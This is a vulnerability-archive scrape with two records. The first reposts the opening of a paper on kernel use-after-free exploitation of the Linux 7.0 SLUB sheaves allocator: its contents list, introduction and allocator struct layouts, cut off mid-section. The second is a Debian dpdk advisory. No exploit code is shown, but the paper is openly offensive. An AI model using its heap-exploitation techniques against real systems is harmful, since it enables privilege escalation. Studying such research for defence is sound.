"dataVersion": "5.2"
}
GCVE-1988-2026-0450
Vulnerability from gna-1988 – Published: 2026-11-02 07:29 – Updated: 2026-11-02 07:29
VLAI
EPSS
VEX
Title
[Bugtraq] UAF Exploitation in the Sheaves Era
Summary
|=------------------------------------------------------------------------=|
|=--------------=[ UAF Exploitation in the Sheaves Era ]=---------------=|
|=------------------------------------------------------------------------=|
|=--------------=[ w1sdom (antonius@bluedragonsec.com) ]=-----------------=|
|=------------------------------------------------------------------------=|
"The greatest trick the Devil ever pulled was convincing the world he didn't exist"
-- Charles Baudelaire
--[ Table of Contents
1 - Introduction
2 - The Sheaves Architecture
2.1 - How Sheaves Work
2.2 - The 3 Main Structures of Sheaves
2.3 - Sheaves Mechanism
2.3.1 - calculate_sheaf_capacity()
2.3.2 - Allocation Path
2.3.3 - Free Path
3 - Related Anti Exploitation
3.1 - KASLR & kptr_restrict
3.2 - HARDENED_USERCOPY
3.3 - RANDOM_KMALLOC_CACHES
3.4 - INIT_ON_ALLOC
3.5 - INIT_ON_FREE
3.6 - CFI, FineIBT
4 - Same Cache Reclaim via Sheaves Architecture
4.1 - Technical Background
4.2 - With Information Leak
4.2.1 - Converting UAF write to provide leak
4.2.2 - Side Channel Attack - EntryBleed
4.3 - SheafJack
4.3.1 - What is SheafJack ?
4.3.2 - SheafJack & Deep Sheaf Poisoning
4.4 - Without Information Leak
4.4.1 - DirtyCred
4.4.2 - PageJack
5 - Cross Cache Exploitation in Sheaves Architecture
5.1 - Technical Background
5.1.1 - Slab Page Order
5.1.2 - From Sheaves to Buddy - The Math
5.1.3 - Cross Cache - Volume Overflow Technique
5.1.4 - Cross Cache - Complete Free Technique
5.1.5 - Cross Cache - Kratnowl 6-pool
5.1.6 - Cross Cache - SheavesSiphon
5.2 - With Information Leak
5.3 - Without Information Leak
6 - Elastic Object
6.1 - Technical Background
6.2 - Elastic Object Lists
7 - Real Life Exploit - CVE-2026-46215
7.1 - The Bug
7.2 - Exploitation
8 - Game Over !!!
8.1 - Final Words
8.2 - About the Author
9 - Thanks
10 - References
11 - Appendix
--[ 1 - Introduction
The sheaves architecture changes the concept of modern slub exploitation.
A freed object is no longer handed straight back to the slab freelist.
Instead, it is parked in a per-cpu sheaf and surplus sheaves are buffered
in a per-node structure called the barn.
This paper is about use after free exploitation techniques specific to the
new slub sheaves architecture in the linux kernel 7 series on
x86_64 architecture.
Please note that the source code analysis in this article is based on the
linux kernel 7.0 source.
So What is Sheaves ?
Sheaves is a concept of an additional caching layer introduced since linux
kernel 6.18 by slab maintainer Vlastimil Babka.
At the time it was merged into linux kernel 6.18, this caching layer was an
opt-in feature for slub allocations.
Since the linux kernel 7 series, sheaves are enabled by default for most heap
allocations inside the linux kernel.
Sheaves are disabled globally when CONFIG_SLUB_TINY is enabled.
Otherwise, sheaves are enabled by default for all caches, with the
exception of some special flag caches.
Caches without sheaves are those with any of the following flags:
- SLAB_DEBUG_FLAGS (when slub_debug is active for the cache)
- SLAB_NO_OBJ_EXT (bootstrap caches)
- SLAB_NOLEAKTRACE (kmemleak's object_cache and scan_area_cache)
This paper makes the following contributions:
[1] First public documentation of SLUB sheaves internals from an offensive perspective.
[2] Live verified capacity tier table for kernel 7.0.
[3] Formal model of return-to-buddy via barn saturation.
[4] Deterministic same cache UAF reclaim recipe.
[5] Linux 7.0 elastic object catalog.
[6] Exotic exploitation technique.
[7] Novel cross-cache techniques.
--[ 2 - The Sheaves Architecture
----[ 2.1 - How Sheaves Work
A sheaf is basically a small structure wrapping a FAM of object pointers,
together with a size counter and a pointer to its owning kmem_cache.
Each CPU owns a slub_percpu_sheaves structure that holds up to three sheaves:
- a main sheaf that allocations are served from.
- a spare sheaf kept ready as a replacement.
- an rcu_free sheaf used to batch kfree_rcu() objects.
Each Node owns a node_barn structure, the barn holds sheaves, the purpose of
this barn is to facilitate sheaf migrations between CPUs inside a node.
There is a condition when an allocation needs a fresh sheaf but a CPU scope
can't provide the fresh sheaf, the per-node barn can be used to provide a fresh
sheaf for that allocation.
When both sheaves (main & spare) are full in slub_percpu_sheaves, the barn will be
used to keep sheaves that are not currently being used for caching by any CPU.
The Diagram that describes the layout and mechanism is shown below.
CPU 0 CPU 1 NUMA node 0
per-cpu sheaves per-cpu sheaves kmem_cache_node
-------------------- ----------------- ----------------------
| lock (trylock) | | lock | | list_lock |
| main ->---------|-- | main ->... | | nr_partial |
| spare -> | | | spare -> | | partial (slab list)|
| rcu_free -> | | | rcu_free -> | | barn ->------------|-
-------------------- | ----------------- ---------------------- |
| |
main points to | v
a sheaf v --------------------
------------------------- refill / flush | node_barn |
| slab_sheaf | whole sheaves | lock (spinlock) |
| union{...} |<------------------------- >| sheaves_full |
| cache | | sheaves_empty |
| size | | nr_full/nr_empty |
| objects[] | --------------------
-------------------------
|
v served from slab pages via partial/barn
-------------------
| slab |
| freelist |
| inuse / objects |
-------------------
Allocation and freeing are pure LIFO operations on the main sheaf's array
that is the objects[] FAM.
To allocate a new object, the kernel takes the last pointer,
pcs->main->objects[pcs->main->size - 1], and decrements size.
To free, it writes the object back as pcs->main->objects[pcs->main->size++].
There is no object metadata, no freelist pointer walk, no pointer
obfuscation, and no cross-CPU interaction occurs on this path.
--2.2 - The 3 Main Structures of Sheaves
Every kmem_cache that qualifies will have its own per-CPU structure called struct
slub_percpu_sheaves.
Understanding these 3 core structures is really important to understand the
mechanism of sheaves. By understanding the mechanism of sheaves we can get some
ideas of how to exploit this mechanism.
There are 3 main structures defined in mm/slub.c in linux kernel 7.0.
These 3 main structures are the core implementation of sheaves.
#1 core struct - struct slab_sheaf
This is the main core struct of sheaves mechanism, this is the object container
that serving for allocations and frees.
By accommodating this sheaf, the allocation or freeing no longer needs to
touch the per-CPU slab freelist.
From mm/slub.c line 404, we can see the definition of slab_sheaf main structure.
---------------------------------------------------------------------------
$ pahole -C slab_sheaf vmlinux
struct slab_sheaf {
union {
struct callback_head callback_head
__attribute__((__aligned__(8))); /* 0 16 */
struct list_head barn_list; /* 0 16 */
struct {
unsigned int capacity; /* 0 4 */
bool pfmemalloc; /* 4 1 */
}; /* 0 8 */
} __attribute__((__aligned__(8))); /* 0 16 */
struct kmem_cache * cache; /* 16 8 */
unsigned int size; /* 24 4 */
int node; /* 28 4 */
void * objects[]; /* 32 0 */
} __attribute__((__aligned__(8)));
---------------------------------------------------------------------------
- The union {...} part is about the state of the sheaf, whether it's in an
rcu queue, inside the barn list, or used as a prefilled sheaf. The size of
this union is 16 bytes located at offset 0-15.
- struct kmem_cache *cache is a back pointer to the kmem_cache that owns
this sheaf.
It is set once when the sheaf is created (sheaf->cache = s) and is later
trusted, not revalidated, when the sheaf is processed.
The size is 8 bytes located at offset 16.
- unsigned int size, this is the number of object pointers currently stored in
objects[].
It is the LIFO counter that drives every allocation and free on the sheaf.
The size is 4 bytes located at offset 24.
- int node, this is the NUMA node id, used only when the sheaf is on the
rcu_free path.
It is written just before the sheaf is handed off to RCU. The size is 4 bytes
located at offset 28.
- void *objects[] is a FAM holding the sheaf's cached object pointers.
Every allocation served from this sheaf returns one of these
pointers directly.
No freelist walk nor pointer obfuscation on the fast path.
The size of each entry inside objects[] FAM is 8 bytes,
objects[] located at offset 32.
#2 core struct - struct slub_percpu_sheaves
From mm/slub.c line 420, we can see the definition of
slub_percpu_sheaves structure.
---------------------------------------------------------------------
$ pahole -C slub_percpu_sheaves vmlinux
struct slub_percpu_sheaves {
local_trylock_t lock; /* 0 1 */
struct slab_sheaf * main; /* 8 8 */
struct slab_sheaf * spare; /* 16 8 */
struct slab_sheaf * rcu_free; /* 24 8 */
};
---------------------------------------------------------------------
This is the per-CPU control structure of the sheaves layer.
This structure is allocated in the
per-CPU area via alloc_percpu() (mm/slub.c line 8478):
----------------------------------------------------------
s->cpu_sheaves = alloc_percpu(struct slub_percpu_sheaves);
----------------------------------------------------------
Every CPU owns its own private copy and the three sheaf pointers below are
reachable only through that per-CPU area.
- local_trylock_t lock, this serializes access to the per-CPU sheaves.
Both the allocation and the free fast paths take this lock before
touching main. The size is 1 byte located at offset 0.
- Offset 1-7 is a hole with the size of 7 bytes, used as padding to make
main fall at offset 8.
- struct slab_sheaf *main, this is the sheaf that allocations are actually
served from. The size is 8 bytes located at offset 8.
- struct slab_sheaf *spare, this is a backup sheaf kept ready so the CPU can
keep serving allocations without immediately going to the barn.
When main is exhausted, the kernel swaps main and spare.
The size is 8 bytes located at offset 16.
- struct slab_sheaf *rcu_free, this is the sheaf that batches objects
freed via kfree_rcu(). When it fills up it is detached and handed to
call_rcu(). The size is 8 bytes located at offset 24.
#3 core struct - struct node_barn
From mm/slub.c line 396, we can see the definition of node_barn structure.
-----------------------------------------------------------------------
$ pahole -C node_barn vmlinux
struct node_barn {
spinlock_t lock __attribute__((__aligned__(4))); /* 0 4 */
/* XXX 4 bytes hole, try to pack */
struct list_head sheaves_full; /* 8 16 */
struct list_head sheaves_empty; /* 24 16 */
unsigned int nr_full; /* 40 4 */
unsigned int nr_empty; /* 44 4 */
} __attribute__((__aligned__(8)));
-----------------------------------------------------------------------
This is the per-node structure that buffers whole sheaves so they can migrate
between CPUs without going all the way back to the page allocator.
- spinlock_t lock, this serializes all barn operations. Note the difference from
the per-CPU layer: the fast paths use a local_trylock on slub_pe
Severity
No CVSS data available.
Assigner
References
35 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | UAF Exploitation in |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0450 (this record)
- related CVE-2022-4543
- related CVE-2024-1086
- related CVE-2026-46215
{
"containers": {
"cna": {
"affected": [
{
"product": "UAF Exploitation in",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "antonius\uff20bluedragonsec.com"
}
],
"descriptions": [
{
"lang": "en",
"value": "|=------------------------------------------------------------------------=|\n|=--------------=[ UAF Exploitation in the Sheaves Era ]=---------------=|\n|=------------------------------------------------------------------------=|\n|=--------------=[ w1sdom (antonius@bluedragonsec.com) ]=-----------------=|\n|=------------------------------------------------------------------------=|\n\"The greatest trick the Devil ever pulled was convincing the world he didn\u0027t exist\"\n-- Charles Baudelaire\n--[ Table of Contents\n1 - Introduction\n2 - The Sheaves Architecture\n2.1 - How Sheaves Work\n2.2 - The 3 Main Structures of Sheaves\n2.3 - Sheaves Mechanism\n2.3.1 - calculate_sheaf_capacity()\n2.3.2 - Allocation Path\n2.3.3 - Free Path\n3 - Related Anti Exploitation\n3.1 - KASLR \u0026 kptr_restrict\n3.2 - HARDENED_USERCOPY\n3.3 - RANDOM_KMALLOC_CACHES\n3.4 - INIT_ON_ALLOC\n3.5 - INIT_ON_FREE\n3.6 - CFI, FineIBT\n4 - Same Cache Reclaim via Sheaves Architecture\n4.1 - Technical Background\n4.2 - With Information Leak\n4.2.1 - Converting UAF write to provide leak\n4.2.2 - Side Channel Attack - EntryBleed\n4.3 - SheafJack\n4.3.1 - What is SheafJack ?\n4.3.2 - SheafJack \u0026 Deep Sheaf Poisoning\n4.4 - Without Information Leak\n4.4.1 - DirtyCred\n4.4.2 - PageJack\n5 - Cross Cache Exploitation in Sheaves Architecture\n5.1 - Technical Background\n5.1.1 - Slab Page Order\n5.1.2 - From Sheaves to Buddy - The Math\n5.1.3 - Cross Cache - Volume Overflow Technique\n5.1.4 - Cross Cache - Complete Free Technique\n5.1.5 - Cross Cache - Kratnowl 6-pool\n5.1.6 - Cross Cache - SheavesSiphon\n5.2 - With Information Leak\n5.3 - Without Information Leak\n6 - Elastic Object\n6.1 - Technical Background\n6.2 - Elastic Object Lists\n7 - Real Life Exploit - CVE-2026-46215\n7.1 - The Bug\n7.2 - Exploitation\n8 - Game Over !!!\n8.1 - Final Words\n8.2 - About the Author\n9 - Thanks\n10 - References\n11 - Appendix\n--[ 1 - Introduction\nThe sheaves architecture changes the concept of modern slub exploitation.\nA freed object is no longer handed straight back to the slab freelist.\nInstead, it is parked in a per-cpu sheaf and surplus sheaves are buffered\nin a per-node structure called the barn.\nThis paper is about use after free exploitation techniques specific to the\nnew slub sheaves architecture in the linux kernel 7 series on\nx86_64 architecture.\nPlease note that the source code analysis in this article is based on the\nlinux kernel 7.0 source.\nSo What is Sheaves ?\nSheaves is a concept of an additional caching layer introduced since linux\nkernel 6.18 by slab maintainer Vlastimil Babka.\nAt the time it was merged into linux kernel 6.18, this caching layer was an\nopt-in feature for slub allocations.\nSince the linux kernel 7 series, sheaves are enabled by default for most heap\nallocations inside the linux kernel.\nSheaves are disabled globally when CONFIG_SLUB_TINY is enabled.\nOtherwise, sheaves are enabled by default for all caches, with the\nexception of some special flag caches.\nCaches without sheaves are those with any of the following flags:\n- SLAB_DEBUG_FLAGS (when slub_debug is active for the cache)\n- SLAB_NO_OBJ_EXT (bootstrap caches)\n- SLAB_NOLEAKTRACE (kmemleak\u0027s object_cache and scan_area_cache)\nThis paper makes the following contributions:\n[1] First public documentation of SLUB sheaves internals from an offensive perspective.\n[2] Live verified capacity tier table for kernel 7.0.\n[3] Formal model of return-to-buddy via barn saturation.\n[4] Deterministic same cache UAF reclaim recipe.\n[5] Linux 7.0 elastic object catalog.\n[6] Exotic exploitation technique.\n[7] Novel cross-cache techniques.\n--[ 2 - The Sheaves Architecture\n----[ 2.1 - How Sheaves Work\nA sheaf is basically a small structure wrapping a FAM of object pointers,\ntogether with a size counter and a pointer to its owning kmem_cache.\nEach CPU owns a slub_percpu_sheaves structure that holds up to three sheaves:\n- a main sheaf that allocations are served from.\n- a spare sheaf kept ready as a replacement.\n- an rcu_free sheaf used to batch kfree_rcu() objects.\nEach Node owns a node_barn structure, the barn holds sheaves, the purpose of\nthis barn is to facilitate sheaf migrations between CPUs inside a node.\nThere is a condition when an allocation needs a fresh sheaf but a CPU scope\ncan\u0027t provide the fresh sheaf, the per-node barn can be used to provide a fresh\nsheaf for that allocation.\nWhen both sheaves (main \u0026 spare) are full in slub_percpu_sheaves, the barn will be\nused to keep sheaves that are not currently being used for caching by any CPU.\nThe Diagram that describes the layout and mechanism is shown below.\nCPU 0 CPU 1 NUMA node 0\nper-cpu sheaves per-cpu sheaves kmem_cache_node\n-------------------- ----------------- ----------------------\n| lock (trylock) | | lock | | list_lock |\n| main -\u003e---------|-- | main -\u003e... | | nr_partial |\n| spare -\u003e | | | spare -\u003e | | partial (slab list)|\n| rcu_free -\u003e | | | rcu_free -\u003e | | barn -\u003e------------|-\n-------------------- | ----------------- ---------------------- |\n| |\nmain points to | v\na sheaf v --------------------\n------------------------- refill / flush | node_barn |\n| slab_sheaf | whole sheaves | lock (spinlock) |\n| union{...} |\u003c------------------------- \u003e| sheaves_full |\n| cache | | sheaves_empty |\n| size | | nr_full/nr_empty |\n| objects[] | --------------------\n-------------------------\n|\nv served from slab pages via partial/barn\n-------------------\n| slab |\n| freelist |\n| inuse / objects |\n-------------------\nAllocation and freeing are pure LIFO operations on the main sheaf\u0027s array\nthat is the objects[] FAM.\nTo allocate a new object, the kernel takes the last pointer,\npcs-\u003emain-\u003eobjects[pcs-\u003emain-\u003esize - 1], and decrements size.\nTo free, it writes the object back as pcs-\u003emain-\u003eobjects[pcs-\u003emain-\u003esize++].\nThere is no object metadata, no freelist pointer walk, no pointer\nobfuscation, and no cross-CPU interaction occurs on this path.\n--2.2 - The 3 Main Structures of Sheaves\nEvery kmem_cache that qualifies will have its own per-CPU structure called struct\nslub_percpu_sheaves.\nUnderstanding these 3 core structures is really important to understand the\nmechanism of sheaves. By understanding the mechanism of sheaves we can get some\nideas of how to exploit this mechanism.\nThere are 3 main structures defined in mm/slub.c in linux kernel 7.0.\nThese 3 main structures are the core implementation of sheaves.\n#1 core struct - struct slab_sheaf\nThis is the main core struct of sheaves mechanism, this is the object container\nthat serving for allocations and frees.\nBy accommodating this sheaf, the allocation or freeing no longer needs to\ntouch the per-CPU slab freelist.\nFrom mm/slub.c line 404, we can see the definition of slab_sheaf main structure.\n---------------------------------------------------------------------------\n$ pahole -C slab_sheaf vmlinux\nstruct slab_sheaf {\nunion {\nstruct callback_head callback_head\n__attribute__((__aligned__(8))); /* 0 16 */\nstruct list_head barn_list; /* 0 16 */\nstruct {\nunsigned int capacity; /* 0 4 */\nbool pfmemalloc; /* 4 1 */\n}; /* 0 8 */\n} __attribute__((__aligned__(8))); /* 0 16 */\nstruct kmem_cache * cache; /* 16 8 */\nunsigned int size; /* 24 4 */\nint node; /* 28 4 */\nvoid * objects[]; /* 32 0 */\n} __attribute__((__aligned__(8)));\n---------------------------------------------------------------------------\n- The union {...} part is about the state of the sheaf, whether it\u0027s in an\nrcu queue, inside the barn list, or used as a prefilled sheaf. The size of\nthis union is 16 bytes located at offset 0-15.\n- struct kmem_cache *cache is a back pointer to the kmem_cache that owns\nthis sheaf.\nIt is set once when the sheaf is created (sheaf-\u003ecache = s) and is later\ntrusted, not revalidated, when the sheaf is processed.\nThe size is 8 bytes located at offset 16.\n- unsigned int size, this is the number of object pointers currently stored in\nobjects[].\nIt is the LIFO counter that drives every allocation and free on the sheaf.\nThe size is 4 bytes located at offset 24.\n- int node, this is the NUMA node id, used only when the sheaf is on the\nrcu_free path.\nIt is written just before the sheaf is handed off to RCU. The size is 4 bytes\nlocated at offset 28.\n- void *objects[] is a FAM holding the sheaf\u0027s cached object pointers.\nEvery allocation served from this sheaf returns one of these\npointers directly.\nNo freelist walk nor pointer obfuscation on the fast path.\nThe size of each entry inside objects[] FAM is 8 bytes,\nobjects[] located at offset 32.\n#2 core struct - struct slub_percpu_sheaves\nFrom mm/slub.c line 420, we can see the definition of\nslub_percpu_sheaves structure.\n---------------------------------------------------------------------\n$ pahole -C slub_percpu_sheaves vmlinux\nstruct slub_percpu_sheaves {\nlocal_trylock_t lock; /* 0 1 */\nstruct slab_sheaf * main; /* 8 8 */\nstruct slab_sheaf * spare; /* 16 8 */\nstruct slab_sheaf * rcu_free; /* 24 8 */\n};\n---------------------------------------------------------------------\nThis is the per-CPU control structure of the sheaves layer.\nThis structure is allocated in the\nper-CPU area via alloc_percpu() (mm/slub.c line 8478):\n----------------------------------------------------------\ns-\u003ecpu_sheaves = alloc_percpu(struct slub_percpu_sheaves);\n----------------------------------------------------------\nEvery CPU owns its own private copy and the three sheaf pointers below are\nreachable only through that per-CPU area.\n- local_trylock_t lock, this serializes access to the per-CPU sheaves.\nBoth the allocation and the free fast paths take this lock before\ntouching main. The size is 1 byte located at offset 0.\n- Offset 1-7 is a hole with the size of 7 bytes, used as padding to make\nmain fall at offset 8.\n- struct slab_sheaf *main, this is the sheaf that allocations are actually\nserved from. The size is 8 bytes located at offset 8.\n- struct slab_sheaf *spare, this is a backup sheaf kept ready so the CPU can\nkeep serving allocations without immediately going to the barn.\nWhen main is exhausted, the kernel swaps main and spare.\nThe size is 8 bytes located at offset 16.\n- struct slab_sheaf *rcu_free, this is the sheaf that batches objects\nfreed via kfree_rcu(). When it fills up it is detached and handed to\ncall_rcu(). The size is 8 bytes located at offset 24.\n#3 core struct - struct node_barn\nFrom mm/slub.c line 396, we can see the definition of node_barn structure.\n-----------------------------------------------------------------------\n$ pahole -C node_barn vmlinux\nstruct node_barn {\nspinlock_t lock __attribute__((__aligned__(4))); /* 0 4 */\n/* XXX 4 bytes hole, try to pack */\nstruct list_head sheaves_full; /* 8 16 */\nstruct list_head sheaves_empty; /* 24 16 */\nunsigned int nr_full; /* 40 4 */\nunsigned int nr_empty; /* 44 4 */\n} __attribute__((__aligned__(8)));\n-----------------------------------------------------------------------\nThis is the per-node structure that buffers whole sheaves so they can migrate\nbetween CPUs without going all the way back to the page allocator.\n- spinlock_t lock, this serializes all barn operations. Note the difference from\nthe per-CPU layer: the fast paths use a local_trylock on slub_pe"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:29:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/item/3ad1831ab5402636fb89a2bb7b03de634ea027b1d68aacc98f82391180bfe31c"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/T7TSXPUPYTOBSA6XTX2FFKLQIA4LKTB2/"
},
{
"url": "https://a13xp0p0v.github.io"
},
{
"url": "https://duasynt.com/blog/linux-kernel-heap-feng-shui-2022"
},
{
"url": "https://fosdem.org/2026/schedule/event/DPXVYJ-slub-sheaves-update/"
},
{
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/vbabka"
},
{
"url": "https://github.com/0xCyberstan/CVE-2026-46215-POC"
},
{
"url": "https://github.com/a13xp0p0v/kernel-hack-drill"
},
{
"url": "https://github.com/a13xp0p0v/kernel-hardening-checker"
},
{
"url": "https://github.com/a13xp0p0v/linux-kernel-defence-map"
},
{
"url": "https://github.com/bata24/gef"
},
{
"url": "https://github.com/bluedragonsecurity/sheaf_uaf"
},
{
"url": "https://github.com/khoatran107/sheaf-barn-exploit"
},
{
"url": "https://github.com/markakd/dirtycred"
},
{
"url": "https://github.com/notselwyn/cve-2024-1086"
},
{
"url": "https://github.com/r1ru/linux-kernel-exploitation"
},
{
"url": "https://github.com/torvalds/linux/tree/v7.0"
},
{
"url": "https://github.com/torvalds/linux/tree/v7.0-rc1"
},
{
"url": "https://github.com/xairy/linux-kernel-exploitation"
},
{
"url": "https://grsecurity.net/blog"
},
{
"url": "https://i.blackhat.com/Asia-22/Thursday-Materials/"
},
{
"url": "https://kaist-hacking.github.io/publication/kim-crossx/"
},
{
"url": "https://kaist-hacking.github.io/pubs/2025/kim:crossx.pdf"
},
{
"url": "https://kuzey.rs/posts/Dirty_Page_Table/"
},
{
"url": "https://lkml.org/lkml/2025/9/15/1382"
},
{
"url": "https://lkml.org/lkml/2026/1/23/382"
},
{
"url": "https://lkml.org/lkml/2026/1/26/396"
},
{
"url": "https://lwn.net/Articles/1010667/"
},
{
"url": "https://phrack.org/issues/71/13_md#article"
},
{
"url": "https://pwning.tech/nftables"
},
{
"url": "https://www.usenix.org/system/files/usenixsecurity24-maar-slubstick.pdf"
},
{
"url": "https://www.willsroot.io/2022/12/entrybleed.html"
},
{
"url": "https://www.youtube.com/watch?v=2hYzxsWeNcE"
},
{
"url": "https://www.youtube.com/watch?v=KuUHyAS0Aag"
},
{
"url": "https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html"
}
],
"source": {
"defect": [
"179154745486.218337.5502349952768722791%40ns3482404.ip-193-70-32.eu"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] UAF Exploitation in the Sheaves Era",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2022-4543",
"type": "related"
},
{
"destId": "CVE-2024-1086",
"type": "related"
},
{
"destId": "CVE-2026-46215",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0450",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/3ad1831ab5402636fb89a2bb7b03de634ea027b1d68aacc98f82391180bfe31c",
"automated": true,
"contentSha256": "3ad1831ab5402636fb89a2bb7b03de634ea027b1d68aacc98f82391180bfe31c",
"evidenceScore": 9,
"messageId": "179154745486.218337.5502349952768722791%40ns3482404.ip-193-70-32.eu",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/T7TSXPUPYTOBSA6XTX2FFKLQIA4LKTB2/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T07:29:55Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0450"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:29:55Z",
"dateUpdated": "2026-11-02T07:29:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0450"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0449
Vulnerability from gna-1988 – Published: 2026-11-02 07:29 – Updated: 2026-11-02 07:29
VLAI
EPSS
VEX
Title
[Bugtraq] [SECURITY] [DSA 6597-1] dpdk security update
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
- -------------------------------------------------------------------------
Debian Security Advisory DSA-6597-1 security@debian.org
https://www.debian.org/security/ Aron Xu
October 31, 2026 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : dpdk
CVE ID : CVE-2026-86561 CVE-2026-86562 CVE-2026-86563 CVE-2026-86564
CVE-2026-86565 CVE-2026-86566 CVE-2026-86567 CVE-2026-86845
CVE-2026-86846 CVE-2026-86847 CVE-2026-86848 CVE-2026-86849
CVE-2026-86856 CVE-2026-93683 CVE-2026-100236
Several vulnerabilities were discovered in DPDK, a set of libraries for
fast packet processing. Depending on enabled functionality, crafted packets
or malicious guest requests could cause denial of service or memory
corruption.
For the stable distribution (trixie), these problems have been fixed in
version 24.11.8-0+deb13u1.
We recommend that you upgrade your dpdk packages.
For the detailed security status of dpdk please refer to
its security tracker page at:
https://security-tracker.debian.org/tracker/dpdk
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org
-----BEGIN PGP SIGNATURE-----
iQEzBAEBCAAdFiEExq6D0hxncEPaPayX+GQ1dHE8m64FAmrkxpwACgkQ+GQ1dHE8
m66U4QgAgDKKU9cjeFqWeYFto/LhAnOka8kN3QkKQtBKbuEufPyO0aWU2vl1Nw5S
jsZ6Jb8YozUiy3ANHliVTcwcMg8pyCR9mMeFxogQcDK+qY+ZuX/tqsEHBa4olIUQ
Gk9mo5lIxVY/fcV9qd95qzvQfcQzS1aN1bgS02+HB1ipHck5JFP5yB6pFKisUnnp
P3fVSdrFVwdP3vQgmcwCazoWPOLOzHmeUtI4Vm8BYqbmntVohgqSUnuWj4wYVun6
DqPLqx/Zr49sKhT2ILPtg+vGDk7JFEmKqaRQs/jzGw4PRjeSVMC+cD4iHq90s4fh
4eAfFAWcLh0H4K7J9SNpVJKuBAicug==
=YEUO
-----END PGP SIGNATURE-----
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/item/d78c77e… | technical-description |
| https://lists.securityfocus.com/hyperkitty/list/b… | technical-description |
| https://security-tracker.debian.org/tracker/dpdk | |
| https://www.debian.org/security/ | |
| https://www.debian.org/security/faq |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Dpdk | security update |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0449 (this record)
- related CVE-2026-100236
- related CVE-2026-86561
- related CVE-2026-86562
- related CVE-2026-86563
- related CVE-2026-86564
- related CVE-2026-86565
- related CVE-2026-86566
- related CVE-2026-86567
- related CVE-2026-86845
- related CVE-2026-86846
- related CVE-2026-86847
- related CVE-2026-86848
- related CVE-2026-86849
- related CVE-2026-86856
- related CVE-2026-93683
{
"containers": {
"cna": {
"affected": [
{
"product": "security update",
"vendor": "Dpdk",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Aron Xu"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n- -------------------------------------------------------------------------\nDebian Security Advisory DSA-6597-1 security@debian.org\nhttps://www.debian.org/security/ Aron Xu\nOctober 31, 2026 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\nPackage : dpdk\nCVE ID : CVE-2026-86561 CVE-2026-86562 CVE-2026-86563 CVE-2026-86564\nCVE-2026-86565 CVE-2026-86566 CVE-2026-86567 CVE-2026-86845\nCVE-2026-86846 CVE-2026-86847 CVE-2026-86848 CVE-2026-86849\nCVE-2026-86856 CVE-2026-93683 CVE-2026-100236\nSeveral vulnerabilities were discovered in DPDK, a set of libraries for\nfast packet processing. Depending on enabled functionality, crafted packets\nor malicious guest requests could cause denial of service or memory\ncorruption.\nFor the stable distribution (trixie), these problems have been fixed in\nversion 24.11.8-0+deb13u1.\nWe recommend that you upgrade your dpdk packages.\nFor the detailed security status of dpdk please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/dpdk\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\niQEzBAEBCAAdFiEExq6D0hxncEPaPayX+GQ1dHE8m64FAmrkxpwACgkQ+GQ1dHE8\nm66U4QgAgDKKU9cjeFqWeYFto/LhAnOka8kN3QkKQtBKbuEufPyO0aWU2vl1Nw5S\njsZ6Jb8YozUiy3ANHliVTcwcMg8pyCR9mMeFxogQcDK+qY+ZuX/tqsEHBa4olIUQ\nGk9mo5lIxVY/fcV9qd95qzvQfcQzS1aN1bgS02+HB1ipHck5JFP5yB6pFKisUnnp\nP3fVSdrFVwdP3vQgmcwCazoWPOLOzHmeUtI4Vm8BYqbmntVohgqSUnuWj4wYVun6\nDqPLqx/Zr49sKhT2ILPtg+vGDk7JFEmKqaRQs/jzGw4PRjeSVMC+cD4iHq90s4fh\n4eAfFAWcLh0H4K7J9SNpVJKuBAicug==\n=YEUO\n-----END PGP SIGNATURE-----"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:29:50Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
